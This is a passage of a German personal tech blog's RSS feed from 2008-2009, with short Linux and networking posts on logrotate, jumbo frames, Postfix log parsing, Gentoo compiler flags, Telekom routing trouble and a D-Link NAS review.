compresscmd /usr/bin/lzma<br />
uncompresscmd /usr/bin/unlzma<br />
compressext .lzma<br />
</code><br />
zum schluss noch alte .gz Logfiles entsorgen. Fertig. </p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2009/07/logrotate-auf-lzma-umstellen/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Campus, Alter! &#8211; rück dir Kohle raus!</title>
		<link>http://christian.samsel.name/2009/01/campus-alter-ruck-dir-kohle-raus/</link>
		<comments>http://christian.samsel.name/2009/01/campus-alter-ruck-dir-kohle-raus/#comments</comments>
		<pubDate>Sat, 17 Jan 2009 20:51:06 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Fun]]></category>
		<category><![CDATA[Studium / Uni]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/?p=150</guid>
		<description><![CDATA[Hm. Wie kommt man auf sowas?]]></description>
			<content:encoded><![CDATA[<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/JYeKqGT-2I0&#038;hl=de&#038;fs=1&#038;color1=0x234900&#038;color2=0x4e9e00"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/JYeKqGT-2I0&#038;hl=de&#038;fs=1&#038;color1=0x234900&#038;color2=0x4e9e00" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object><br />
Hm. Wie kommt man auf sowas?</p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2009/01/campus-alter-ruck-dir-kohle-raus/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>System zu einer bestimmten Uhrzeit abschalten</title>
		<link>http://christian.samsel.name/2008/12/system-zu-einer-bestimmten-uhrzeit-abschalten/</link>
		<comments>http://christian.samsel.name/2008/12/system-zu-einer-bestimmten-uhrzeit-abschalten/#comments</comments>
		<pubDate>Thu, 04 Dec 2008 17:03:01 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[OpenSource / Linux]]></category>
		<category><![CDATA[at]]></category>
		<category><![CDATA[ipx]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[poweroff]]></category>
		<category><![CDATA[Rootserver]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/?p=146</guid>
		<description><![CDATA[System zu einer bestimmten Uhrzeit abschalten: echo "poweroff" &#124; at 7:50 10.12.2008]]></description>
			<content:encoded><![CDATA[<p>System zu einer bestimmten Uhrzeit abschalten:<br/><br />
<code>echo "poweroff" | at 7:50 10.12.2008</code><br />
<br/></p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2008/12/system-zu-einer-bestimmten-uhrzeit-abschalten/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Platte voll?</title>
		<link>http://christian.samsel.name/2008/10/platte-voll/</link>
		<comments>http://christian.samsel.name/2008/10/platte-voll/#comments</comments>
		<pubDate>Wed, 01 Oct 2008 12:18:08 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[OpenSource / Linux]]></category>
		<category><![CDATA[filelight]]></category>
		<category><![CDATA[gentoo]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/?p=139</guid>
		<description><![CDATA[Irgendwie wurde meine Platte immer voller und voller, ohne ersichtlichen Grund. Mit Filelight bin ich dann mal auf die Suche gegangen und habe ein paar durch aus erstaunliche Entdeckungen gemacht: # ls /home/*/.xsession-errors -lsh 5,7G -rw------- 1 christian users 5,7G 1. Okt 14:04 /home/christian/.xsession-errors # du "/home/christian/.wine/drive_c/Program Files/" -sh 1,3G /home/christian/.wine/drive_c/Program Files/ du "/home/christian/.local/share/Trash/" -sh [...]]]></description>
			<content:encoded><![CDATA[<p>Irgendwie wurde meine Platte immer voller und voller, ohne ersichtlichen Grund. Mit Filelight bin ich dann mal auf die Suche gegangen und habe ein paar durch aus erstaunliche Entdeckungen gemacht:<br />
<code><br />
# ls /home/*/.xsession-errors  -lsh<br />
5,7G -rw------- 1 christian users 5,7G  1. Okt 14:04 /home/christian/.xsession-errors<br />
</code><code><br />
# du "/home/christian/.wine/drive_c/Program Files/" -sh<br />
1,3G    /home/christian/.wine/drive_c/Program Files/<br />
</code><code><br />
du "/home/christian/.local/share/Trash/" -sh<br />
1,5G    /home/christian/.local/share/Trash/<br />
</code><code><br />
du /var/log/portage/ -sh<br />
3,5G    /var/log/portage<br />
</code><br />
uff</p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2008/10/platte-voll/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>how-to: jumbo frames</title>
		<link>http://christian.samsel.name/2008/04/how-to-jumbo-frames/</link>
		<comments>http://christian.samsel.name/2008/04/how-to-jumbo-frames/#comments</comments>
		<pubDate>Sun, 27 Apr 2008 16:57:00 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Hardware / Gadgets]]></category>
		<category><![CDATA[OpenSource / Linux]]></category>
		<category><![CDATA[jumbo frames]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[netzwerk]]></category>
		<category><![CDATA[vista]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/?p=136</guid>
		<description><![CDATA[Was sind Jumbo Frames? Normalerweise liegt die maximale Paketgröße (MTU) für Ethernet bei 1500 Bytes (ohne Header). Als Jumbo Frames werden größere Pakete bezeichnet, typischerweise 9.000-9.180 oder 4.100 Bytes groß. Was bringen Jumbo Frames? Gleiche Datenmenge bei weniger Paketen bedeutet weniger Protokoll-Overhead und weniger CPU Belastung der Geräte. Insbesondere für Geräte wie SOHO-NAS-Server ist das [...]]]></description>
			<content:encoded><![CDATA[<p>Was sind Jumbo Frames?<br />
Normalerweise liegt die maximale Paketgröße (MTU) für Ethernet bei 1500 Bytes (ohne Header). Als Jumbo Frames werden größere Pakete bezeichnet, typischerweise 9.000-9.180 oder 4.100 Bytes groß. </p>
<p>Was bringen Jumbo Frames?<br />
Gleiche Datenmenge bei weniger Paketen bedeutet weniger Protokoll-Overhead und weniger CPU Belastung der Geräte. Insbesondere für Geräte wie SOHO-NAS-Server ist das interessant, da diese über eine schwache CPU verfügen. Dementsprechend kann man die Jumbo Frame Unterstützung bei manchen NAS Server direkt im Webinterface aktivieren.</p>
<p>Wie braucht man für Jumbo Frames?<br />
Alle Geräte im Netzwerk sollten Jumbo Frames unterstützen. Eine Liste kompatibler Geräte findet sich bei [1].<br />
Beim Routing allerdings werden dank MTU Path Discovery die Pakete fragmentiert, dass heißt über einen normalen Router kommt man natürlich trotzdem weiterhin ins Internet. </p>
<p>Wie benutzt Jumbo Frames?<br />
Unter Windows (Konsole als Administrator ausführen):</p>
<pre>
C:\Windows\system32>netsh interface ipv4 set subinterface "LAN-Verbindung" mtu=9
000 store=persistent
</pre>
<p>Bei manchen Netzwerkkarten kann man Jumbo Frames auch in den Geräteoptionen aktivieren.</p>
<p>Linux (siehe auch [2]):</p>
<pre>ifconfig eth0 mtu 9000</pre>
<p>Überprüfen ob Jumbo Frames übertragen werden können:</p>
<pre>
C:\Users\Christian>ping -f -l 9000 192.168.1.3

Ping wird ausgeführt für 192.168.1.3 mit 9000 Bytes Daten:
Antwort von 192.168.1.3: Bytes=9000 Zeit=1ms TTL=64
Antwort von 192.168.1.3: Bytes=9000 Zeit<1ms TTL=64
Antwort von 192.168.1.3: Bytes=9000 Zeit<1ms TTL=64
Antwort von 192.168.1.3: Bytes=9000 Zeit<1ms TTL=64

Ping-Statistik für 192.168.1.3:
    Pakete: Gesendet = 4, Empfangen = 4, Verloren = 0 (0% Verlust),
Ca. Zeitangaben in Millisek.:
    Minimum = 0ms, Maximum = 1ms, Mittelwert = 0ms
</pre>
<p><em>-f</em> sorgt dafür, dass das Ping-Paket nicht fragmentiert wird.</p>
<p>[1] Jumbo Frame Clean Gear: <a href="http://darkwing.uoregon.edu/~joe/jumbo-clean-gear.html">http://darkwing.uoregon.edu/~joe/jumbo-clean-gear.html</a><br />
[2] Gentoo Tipp - Jumbo Frames: <a href="http://gentoo-wiki.com/TIP_Jumbo_Frames">http://gentoo-wiki.com/TIP_Jumbo_Frames</a><br />
[3] Small Net Builders - Need To Know: Jumbo Frames in Small Networks  <a href="http://www.smallnetbuilder.com/content/view/30201/54/">http://www.smallnetbuilder.com/content/view/30201/54/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2008/04/how-to-jumbo-frames/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>1-liner: eMail-Adressen an user@domain.de aus Postfix log extrahieren</title>
		<link>http://christian.samsel.name/2008/04/1liner-email-adressen-an-web1p1-aus-postfix-log-extrahieren/</link>
		<comments>http://christian.samsel.name/2008/04/1liner-email-adressen-an-web1p1-aus-postfix-log-extrahieren/#comments</comments>
		<pubDate>Mon, 07 Apr 2008 08:29:12 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[OpenSource / Linux]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[postfix]]></category>
		<category><![CDATA[shell]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/?p=135</guid>
		<description><![CDATA[&#160; zgrep &#34;orig_to=&#60;user@domain.de&#62;&#34; /var/log/mail.log.?.gz &#124; egrep -o &#34;[A-F0-9]{8}&#34; &#124; sort &#124; uniq &#124; xargs --replace=STR zgrep &#34;STR&#34; mail.*.gz &#124; grep -o -P &#34;[\w-]+(?:\.[\w-]+)*@(?:[\w-]+\.)+[a-zA-Z]{2,7}&#34; &#124; egrep -v &#34;[A-F0-9]{8}&#34;&#124; sort -f &#124; uniq -c &#124; sort -nr &#62; email-adressen.txt Recht lahm aber funktioniert.]]></description>
			<content:encoded><![CDATA[
<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">&nbsp;
<span style="color: #c20cb9; font-weight: bold;">zgrep</span> <span style="color: #ff0000;">&quot;orig_to=&lt;user@domain.de&gt;&quot;</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>mail.log.?.gz <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">egrep</span> <span style="color: #660033;">-o</span> <span style="color: #ff0000;">&quot;[A-F0-9]{8}&quot;</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">sort</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">uniq</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">xargs</span> <span style="color: #660033;">--replace</span>=STR <span style="color: #c20cb9; font-weight: bold;">zgrep</span> <span style="color: #ff0000;">&quot;STR&quot;</span> mail.<span style="color: #000000; font-weight: bold;">*</span>.gz <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #660033;">-o</span> <span style="color: #660033;">-P</span> <span style="color: #ff0000;">&quot;[\w-]+(?:\.[\w-]+)*@(?:[\w-]+\.)+[a-zA-Z]{2,7}&quot;</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">egrep</span> <span style="color: #660033;">-v</span> <span style="color: #ff0000;">&quot;[A-F0-9]{8}&quot;</span><span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">sort</span> <span style="color: #660033;">-f</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">uniq</span> <span style="color: #660033;">-c</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">sort</span> <span style="color: #660033;">-nr</span> <span style="color: #000000; font-weight: bold;">&gt;</span> email-adressen.txt</pre></div></div>

<p>Recht lahm aber funktioniert.</p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2008/04/1liner-email-adressen-an-web1p1-aus-postfix-log-extrahieren/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Suchbegriffe März</title>
		<link>http://christian.samsel.name/2008/03/suchbegriffe-marz/</link>
		<comments>http://christian.samsel.name/2008/03/suchbegriffe-marz/#comments</comments>
		<pubDate>Mon, 31 Mar 2008 11:29:00 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Blog / Website]]></category>
		<category><![CDATA[suchworte]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/?p=134</guid>
		<description><![CDATA[So. Mal wieder Ferien, mal wieder Langeweile&#8230; das bedeutet Suchbegriffe durchschauen. Hier die interessantesten aus dem Monat März: playstation 2 spiele encodieren mkfs.ext3 werde dort kein dateisystem erstellen kann ps3 ftp mit vista w-lan hacken hd753lj problem firmware update packetloss im ts verbessern rwth radius authentifizierung bluescreen rsyncd rwth aachen mops kennwort februar 2008 dd-wrt [...]]]></description>
			<content:encoded><![CDATA[<p>So. Mal wieder Ferien, mal wieder Langeweile&#8230; das bedeutet Suchbegriffe durchschauen. Hier die interessantesten aus dem Monat März:</p>
<ul>
<li>playstation 2 spiele encodieren</li>
<li>mkfs.ext3 werde dort kein dateisystem erstellen</li>
<li>kann ps3 ftp</li>
<li>mit vista w-lan hacken</li>
<li>hd753lj problem firmware update</li>
<li>packetloss im ts verbessern</li>
<li>rwth radius authentifizierung</li>
<li>bluescreen rsyncd</li>
<li>rwth aachen mops kennwort februar 2008</li>
<li>dd-wrt streaming server</li>
<li>studivz profil hacken leicht gemacht</li>
<li>hlsw server timeout obwohl er es nicht</li>
<li>mensa vita bezahlen</li>
<li>ändert sich mein handyvertrag nach 2 jahren</li>
<li>kann man irgendwie uni vpn umgehen?</li>
<li>bei mir bleibt counterstrike 1.6 immer beim laden stecken</li>
<li>was das netzwerk eduroam</li>
<li>google spam suchbegriffe löschen</li>
</ul>
<p>Ich wünsche auch weiterhin allen Lesern einen angenehmen Aufenthalt auf meinem Blog, insbesondere auch denen, die nicht das gesuchte hier finden  <img src='http://christian.samsel.name/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2008/03/suchbegriffe-marz/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PCI Bus error 0290.</title>
		<link>http://christian.samsel.name/2008/03/pci-bus-error-0290/</link>
		<comments>http://christian.samsel.name/2008/03/pci-bus-error-0290/#comments</comments>
		<pubDate>Tue, 18 Mar 2008 18:18:34 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[OpenSource / Linux]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2008/03/pci-bus-error-0290/</guid>
		<description><![CDATA[Mar 18 09:12:15 ipx11839 eth0: PCI Bus error 0290. &#8230; und Schüss mit der Konnektivität. Google rät noapic nolapic als Kernel-Parameter zu verwenden. Mal sehen obs hilft. Update: Mainboard war laut IPX defekt und wurde getauscht. Das hat sich zwar etwas hingezogen aber immerhin wurde mir keine Neuinstallation aufgezwungen, geschweige denn eine Rechnung gestellt.]]></description>
			<content:encoded><![CDATA[<pre>Mar 18 09:12:15 ipx11839 eth0: PCI Bus error 0290.</pre>
<p>&#8230; und Schüss mit der Konnektivität.<br />
Google rät <em>noapic nolapic</em> als Kernel-Parameter zu verwenden. Mal sehen obs hilft.</p>
<p><span style="color: red;">Update:</span> Mainboard war laut IPX defekt und wurde getauscht. Das hat sich zwar etwas hingezogen aber immerhin wurde mir keine Neuinstallation aufgezwungen, geschweige denn eine Rechnung gestellt.</p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2008/03/pci-bus-error-0290/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Yeah. -march=core2, -mcpu=cell</title>
		<link>http://christian.samsel.name/2008/03/marchcore2/</link>
		<comments>http://christian.samsel.name/2008/03/marchcore2/#comments</comments>
		<pubDate>Mon, 17 Mar 2008 20:20:42 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[OpenSource / Linux]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2008/03/marchcore2/</guid>
		<description><![CDATA[portage tree aktuallisieren: emerge --sync für gcc:4.3 und Abhängigkeiten keywords setzten: /etc/portage/package.keywords/toolchain.keywords: sys-devel/binutils ** sys-devel/gcc ** sys-libs/glibc ** sys-kernel/linux-headers ** dev-libs/mpfr ~x86 dev-libs/gmp ~x86 Abhängigkeiten und gcc aktualisieren: emerge -u dev-libs/gmp dev-libs/mpfr sys-devel/gcc make.conf bearbeiten: CFLAGS="-march=core2 -O2 -pipe" bzw. für die PS3: CFLAGS="-mcpu=cell -mabi=altivec -O2" Basissystem inkl. Toolchain neukompilieren: emerge -e system Fertig.]]></description>
			<content:encoded><![CDATA[<p>portage tree aktuallisieren:</p>
<pre>emerge --sync</pre>
<p>für gcc:4.3 und Abhängigkeiten keywords setzten:<br />
<em>/etc/portage/package.keywords/toolchain.keywords</em>:</p>
<pre>
sys-devel/binutils **
sys-devel/gcc **
sys-libs/glibc **
sys-kernel/linux-headers **
dev-libs/mpfr ~x86
dev-libs/gmp ~x86
</pre>
<p>Abhängigkeiten und gcc aktualisieren:</p>
<pre>emerge -u dev-libs/gmp dev-libs/mpfr sys-devel/gcc</pre>
<p>make.conf bearbeiten:</p>
<pre>CFLAGS="-march=core2 -O2 -pipe"</pre>
<p>bzw. für die PS3:</p>
<pre>CFLAGS="-mcpu=cell -mabi=altivec -O2"</pre>
<p>Basissystem inkl. Toolchain neukompilieren:</p>
<pre>emerge -e system</pre>
<p>Fertig.</p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2008/03/marchcore2/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>verbessertes und übersetztes Mediatomb import.js</title>
		<link>http://christian.samsel.name/2008/03/verbessertes-und-ubersetztes-mediatomb-importjs/</link>
		<comments>http://christian.samsel.name/2008/03/verbessertes-und-ubersetztes-mediatomb-importjs/#comments</comments>
		<pubDate>Sun, 16 Mar 2008 22:23:31 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Hardware / Gadgets]]></category>
		<category><![CDATA[OpenSource / Linux]]></category>
		<category><![CDATA[dns-323]]></category>
		<category><![CDATA[mediatomb]]></category>
		<category><![CDATA[upnp-av]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2008/03/verbessertes-und-ubersetztes-mediatomb-importjs/</guid>
		<description><![CDATA[Auf meinem DNS-323 habe ich den UPnP-AV Server Mediatomb [1] installiert. Mediatomb hat gegenüber anderen Servern den Vorteil, dass man die Ordnerstruktur nach den eigenen Vorstellungen erzeugen kann. Die geschieht mit Hilfe eines Javascripts, dass beim Importieren von Dateien aufgerufen wird. Hier mal meine Variante: import.js. Sie erzeugt deutschsprachige Ordner (Künstler statt Artist) und zusätzlich [...]]]></description>
			<content:encoded><![CDATA[<p>Auf meinem DNS-323 habe ich den UPnP-AV Server Mediatomb [1] installiert. Mediatomb hat gegenüber anderen Servern den Vorteil, dass man die Ordnerstruktur nach den eigenen Vorstellungen erzeugen kann. Die geschieht mit Hilfe eines Javascripts, dass beim Importieren von Dateien aufgerufen wird. Hier mal meine Variante: <a href="/files/import.js">import.js</a>. Sie erzeugt deutschsprachige Ordner (Künstler statt Artist) und zusätzlich werden Filme, Musik und Fotos noch nach den Ordnern sortiert in denen sie auch im Dateisystem liegen. Am Anfang der Datei befinden sich 3 Variablen in den man den Ordnername eintragen sollte, in dem sich die entsprechenden Dateien befinden. So sortiert Mediatomb z.B. Dateien die sich in <em>/mnt/HD_a2/Freigabe/Filme/Horror</em> befinden, in Filme/Horror ein, wenn man als Filmordner Filme einträgt. Das ganze ist nicht auf eine Ordnerebene beschränkt.<br />
[1] <a href="http://mediatomb.cc/">http://mediatomb.cc/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2008/03/verbessertes-und-ubersetztes-mediatomb-importjs/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>KDE: Ansicht -&gt; Anzeigemodus -&gt; Radialansicht</title>
		<link>http://christian.samsel.name/2008/03/kde-ansicht-anzeigemodus-radialansicht/</link>
		<comments>http://christian.samsel.name/2008/03/kde-ansicht-anzeigemodus-radialansicht/#comments</comments>
		<pubDate>Thu, 13 Mar 2008 10:58:18 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[OpenSource / Linux]]></category>
		<category><![CDATA[filelight]]></category>
		<category><![CDATA[kde]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2008/03/kde-ansicht-anzeigemodus-radialansicht/</guid>
		<description><![CDATA[Ich benutze schon seit Jahren KDE. Aber ein sehr cooles feature hab ich erst vor ein paar Tagen entdeckt (oder erst dann das nötige Plugin/Modul installiert, ich weiß es nicht) und zwar die Radialansicht. Der Screenshot sagt hier mehr als tausend Worte. Hoffentlich gibt es diese feature auch noch in KDE4. Das wollte ich demnächst [...]]]></description>
			<content:encoded><![CDATA[<div style="clear: both;"><a href="/files/radial.png" rel="lightbox" title="Radialansicht"><img src="/files/radial_klein.png"  alt="radial ansicht" style="padding: 3px; margin: 5px; float: left;" /></a></div>
<p>Ich benutze schon seit Jahren KDE. Aber ein sehr cooles feature hab ich erst vor ein paar Tagen entdeckt (oder erst dann das nötige Plugin/Modul installiert, ich weiß es nicht) und zwar die Radialansicht. Der Screenshot sagt hier mehr als tausend Worte. Hoffentlich gibt es diese feature auch noch in KDE4. Das wollte ich demnächst mal antesten.</p>
<p>Die Frage wird zwar aufkommen, aber ich konnte leider bis jetzt nicht rausfinden, welches Paket diese Funktion zur Verfügung stellt.<br />
<span style="color: red">UPDATE:</span></p>
<pre>emerge kde-misc/filelight</pre>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2008/03/kde-ansicht-anzeigemodus-radialansicht/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Spaß mit der Telekom</title>
		<link>http://christian.samsel.name/2008/03/spas-mit-der-telekom/</link>
		<comments>http://christian.samsel.name/2008/03/spas-mit-der-telekom/#comments</comments>
		<pubDate>Mon, 03 Mar 2008 11:20:55 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Verschiedenes]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2008/03/spas-mit-der-telekom/</guid>
		<description><![CDATA[Mein Vater sagt: &#8220;Die Telekom ist zuverlässig&#8221;. Ich sage: &#8220;Die meiste Zeit stimmt das.&#8221; Gestern jedoch nicht. Irgendwie war meine Internet Verbindung ausgesprochen langsam um nicht zu sagen weg. Mein Router hatte aber eine Verbindung hergestellt. Hm. --- google.de ping statistics --- 101 packets transmitted, 88 packets received, 12% packet loss round-trip min/avg/max = 71.8/76.3/81.4 [...]]]></description>
			<content:encoded><![CDATA[<p>Mein Vater sagt: &#8220;Die Telekom ist zuverlässig&#8221;. Ich sage: &#8220;Die meiste Zeit stimmt das.&#8221; Gestern jedoch nicht. Irgendwie war meine Internet Verbindung ausgesprochen langsam um nicht zu sagen weg. Mein Router hatte aber eine Verbindung hergestellt. Hm.</p>
<pre>
--- google.de ping statistics ---
101 packets transmitted, 88 packets received, 12% packet loss
round-trip min/avg/max = 71.8/76.3/81.4 ms

--- www.heise.de ping statistics ---
101 packets transmitted, 91 packets received, 9% packet loss
round-trip min/avg/max = 52.2/53.6/55.2 ms
</pre>
<p>Nanu?</p>
<pre>
traceroute to heise.de (193.99.144.80), 30 hops max, 38 byte packets
 1  * * *
 2  217.0.74.106 (217.0.74.106)  46.093 ms  46.855 ms  46.717 ms
 3  62.154.43.130 (62.154.43.130)  47.580 ms  47.690 ms  46.833 ms
 4  193.159.226.134 (193.159.226.134)  191.064 ms  48.069 ms  48.078 ms
 5  heise2.f.de.plusline.net (213.83.46.132)  52.000 ms  50.657 ms *
 6  heise2.f.de.plusline.net (213.83.46.132)  51.181 ms !A * *
 7  * * heise2.f.de.plusline.net (213.83.46.132)  51.655 ms !A
 8  * heise2.f.de.plusline.net (213.83.46.132)  49.237 ms !A *
 9  * heise2.f.de.plusline.net (213.83.46.132)  51.040 ms !A *
10  * * heise2.f.de.plusline.net (213.83.46.132)  51.910 ms !A
11  * heise2.f.de.plusline.net (213.83.46.132)  51.694 ms !A *
12  heise2.f.de.plusline.net (213.83.46.132)  51.433 ms !A *  50.574 ms !A
</pre>
<p><em>193.159.43.130</em> scheint also der Übeltäter zu sein, reagiert aber wie große Teile der Telekominfrastruktur nicht auf PINGs. Also nach dem Ausschluss Prinzip.</p>
<pre>
--- 62.154.43.130 ping statistics ---
26 packets transmitted, 26 packets received, 0% packet loss
round-trip min/avg/max = 48.9/51.5/86.6 ms

--- heise2.f.de.plusline.net ping statistics ---
50 packets transmitted, 41 packets received, 18% packet loss
round-trip min/avg/max = 52.5/59.4/199.6 ms
</pre>
<p>Also steht es fest. <em>193.159.43.130</em> macht Probleme. Was tut man mit so einer wertvollen Information? Man gibt sie weiter. Zumindest versucht man es. Ich also voller Tatendrang bei der Störungsstelle angerufen und mein Anliegen vorgetragen.<br />
Antwort der Dame: &#8220;Habe sie schonmal ihren PC neugestartet?&#8221;<br />
&#8220;Ehm. Wie bereits beschrieben ist mein PC nicht das Problem!&#8221;<br />
&#8220;Tun sie es trotzdem mal und falls das nicht hilft installieren sie die T-Online Software neu&#8221; </p>
<p>Naja was solls. Heute Morgen ging es wieder.</p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2008/03/spas-mit-der-telekom/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Schwarz, Breit, Stark Groß</title>
		<link>http://christian.samsel.name/2008/03/schwarz-breit-gross/</link>
		<comments>http://christian.samsel.name/2008/03/schwarz-breit-gross/#comments</comments>
		<pubDate>Sun, 02 Mar 2008 15:59:42 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Hardware / Gadgets]]></category>
		<category><![CDATA[dns-323]]></category>
		<category><![CDATA[gadgets]]></category>
		<category><![CDATA[mediatomb]]></category>
		<category><![CDATA[raid]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2008/03/schwarz-breit-gross/</guid>
		<description><![CDATA[So. Ja, ich hab mir wieder was gegönnt, und zwar: D-Link DNS-323 + 2x Samsung HD753LJ (SATA, 7200 RPM, 750 GB, 32 MB Cache) Features: 2 SATA Einschübe, Gigabit Ethernet, USB Port 500 Mhz ARM CPU, 64 MB Ram, 8 MB Flash RAID0/RAID1/JBOD CIFS-Server (Samba Version 3.0.24) FTP-Server (pure-ftpd v1.0.21) Drucker-Server (lp + Samba) iTunes-Server [...]]]></description>
			<content:encoded><![CDATA[<p>So. Ja, ich hab mir wieder was gegönnt, und zwar:</p>
<p><img src="http://christian.samsel.name/files/dns-323.jpg" alt="DNS-323" /><br />
<em>D-Link DNS-323 + 2x Samsung HD753LJ (SATA, 7200 RPM, 750 GB, 32 MB Cache)</em></p>
<p>Features: </p>
<p>2 SATA Einschübe, Gigabit Ethernet, USB Port<br />
500 Mhz ARM CPU, 64 MB Ram, 8 MB Flash<br />
RAID0/RAID1/JBOD<br />
CIFS-Server (Samba Version 3.0.24)<br />
FTP-Server (pure-ftpd v1.0.21)<br />
Drucker-Server (lp + Samba)<br />
iTunes-Server<br />
DLNA Streaming-Server<br />
SSH-Server (dropbear, nachinstalliert)<br />
NFS (nachinstalliert)<br />
mldonkey (nachinstalliert)</p>
<pre>uname -a
Linux oxygen-nas 2.6.12.6-arm1 #29 Thu Dec 27 09:59:48 CST 2007 armv5tejl unknown

root@oxygen-nas:~ cat /proc/mdstat
Personalities : [linear] [raid0] [raid1]
md1 : active raid0 sda3[0] sdb3[1]
      291772288 blocks 64k chunks

md0 : active raid1 sda2[0] sdb2[1]
      586155520 blocks [2/2] [UU]

unused devices: none

root@oxygen-nas:~ df -h | grep md
/dev/md0                550.2G    172.0G    378.2G  31% /mnt/HD_a2
/dev/md1                273.9G      1.3G    258.6G   1% /mnt/HD_b2
</pre>
<p>Aber jetzt erstmal ein paar kurze Worte zum DNS323:</p>
<p>Installation:<br />
Die Hardware Installation ist in 3 Minuten erledigt. Auspacken, Klappe hochschieben, Laufwerke rein, Strom und Netzteil anschließen, Fertig. Allerdings muss ich sagen, 2 Schrauben pro Laufwerk und eine für die Abdeckung hätten sicher nicht geschadet. Das ganze macht in der Hand doch einen etwas instabilen Eindruck. Ich hab das innere dann auch etwas mit Luftpolster Folie ausgekleidet, um Vibrationen und Stöße aufzufangen. Positiv ist noch zu bemerken, dass der Lüfter relativ leise ist und man ein Power Management für die Platten einstellen kann, so dass sie abschalten, wenn sie nicht benötigt werden. Die Geräuschentwicklung ist also trotz 2 7200 UPM Festplatten und 40mm Lüfter erträglich. <span id="more-127"></span></p>
<p>Konfiguration:<br />
